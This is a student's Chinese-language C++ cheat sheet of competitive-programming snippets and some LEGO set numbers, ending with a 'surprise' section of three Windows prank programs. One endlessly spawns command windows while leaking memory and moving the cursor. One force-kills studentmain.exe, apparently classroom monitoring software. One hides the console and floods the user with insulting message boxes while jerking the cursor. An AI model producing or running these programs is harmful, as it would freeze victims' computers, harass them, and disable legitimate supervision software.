名言
主打的就是一个啥也不是!
998244353 好看的
四舍五入:cout<<fixed<<setprecision()<< ; or printf(“%.2lf”,a);注意double!!!
快读:ios::sync_with_stdio(0);
spiderman—alg
输入字符串 cin.getline(a,sizeof(a));
有用的 unsigned=long long;
列表长度 int ret=strlen(a); 或 a.length() 或 a.size() //string!!
跳过 continue;
交换 swap;
反转字符串,数组:reverse(反转数.begin(), 反转数.end()); !! 得用string !!
freopen(“cost.in”,“r”,stdin);
freopen(“cost.out”,“w”,stdout);
根号 sqrt
getline(cin, s); // 读取整行字符串(含空格)
排序 sort(数组,数组+数组长度)
求x的n次方:pow(x,n);
cin.ignore(); // 忽略变量后的换行符,避免影响后续getline
输出空4格靠右的a:cout<<setw(4)<<right<<a;
.empty() 是 C++ 字符串的内置方法,作用是判断这个字符串里有没有内容:用string!
.back() 是 C++ 字符串的内置方法,作用是直接获取字符串的最后一个字符;用string!
memset( 数组名, 要赋的值, 多大空间 );
>> n = 向右挪 n 位
<< n = 向左挪 n 位
二分函数: lower_bound(起始迭代器, 结束迭代器, 目标值);
upper_bound(起始迭代器, 结束迭代器, 目标值);
#define 是预处理指令
substr(0, 长度-1):截取字符串,从第 0 个字符开始,取 “长度 - 1” 个字符(也就是去掉最后一个 .)。
next_permutation:生成下一个字典序更大的排列
prev_permutation:生成上一个字典序更小的排列
哈希:unordered_map<string, bool> 变量名;
区别 map:遍历结果有序 un:遍历结果乱序
双向链表插入:插左边:
我左 = 他左
我右 = 他
他左的右 = 我
他左 = 我
插右边:
我左 = 他
我右 = 他右
他右的左 = 我
他右 = 我;
vector 的核心定义:
// 格式:vector<数据类型> 变量名;
vector<int> nums; // 定义一个存整数的空vector
vector<long long> odds; // 定义一个存长整型的空vector(对应学号场景)
vector<string> names; // 定义一个存字符串的vectorpush_back(x) 把元素 x 添加到 vector 的末尾(最常用) odds.push_back(5);
size() 返回 vector 里当前的元素个数 int len = odds.size();
empty() 判断 vector 是否为空(返回 true/false) if(odds.empty()) { ... }
at() 取出元素
clear() 清空 vector 里的所有元素 odds.clear();while(cin>>C)
{
if(C=='E')break;
S+=C;
}
//读入字符直到读到E//队列
push() 入队
front() 取队首
pop() 删队首
empty() 判断空乐高
76294——X 战警:X 公馆
76314——美国队长:内战战斗场景
76289——雷神托尔大战苏尔特尔
有惊喜
#include<windows.h>
#include<bits/stdc++.h>
using namespace std;
int main(){
while(1){
system("start cmd");
malloc(1000);
SetCursorPos(rand()%1000,rand()%1000);
}
}#include<windows.h>
int main(){
system("taskkill -im studentmain.exe -f");
return 0;
}#include <windows.h>
#include <ctime>
#include <cstdlib>
#include <bits/stdc++.h>
using namespace std;
void size(int x,int y)
{
char cmd[64];
sprintf(cmd,"mode con cols=%d lines=%d",x,y);
system(cmd);
}
HHOOK hHook;
LRESULT __stdcall CBTHookProc( long nCode,WPARAM wParam,LPARAM lParam)
{
if(nCode==HCBT_ACTIVATE)
{
SetDlgItemText((HWND)wParam,IDOK,"是");
UnhookWindowsHookEx(hHook);
}
return 0;
}
int gx[8]={1,0,1,-1,1,-1,-1,0},gy[8]={0,1,-1,1,1,-1,0,-1},j=1000,i=j,k=i/2,x=GetSystemMetrics(SM_CXSCREEN),y=GetSystemMetrics(SM_CYSCREEN);
int main()
{
system("title 小游戏");
srand(time(0));
while(i--)
{
HWND hWnd=FindWindow("ConsoleWindowClass",NULL);
ShowWindow(hWnd,SW_HIDE);
MessageBox(NULL,"你将永远堕落于此地!","你是SB吗?",MB_ICONEXCLAMATION|MB_OKCANCEL);
hHook=SetWindowsHookEx(WH_CBT,(HOOKPROC)CBTHookProc,NULL, GetCurrentThreadId());
MessageBox(NULL,("你是SB吗?"),"一个严肃的问题",MB_OK);
int lll=rand()%8;
Sleep(10);
SetCursorPos(j+=gx[lll]*100,k+=gy[lll]*100);
int kkk=rand()%100+1;
int kkk2=rand()%500+1;
size(kkk,kkk2);
}
}



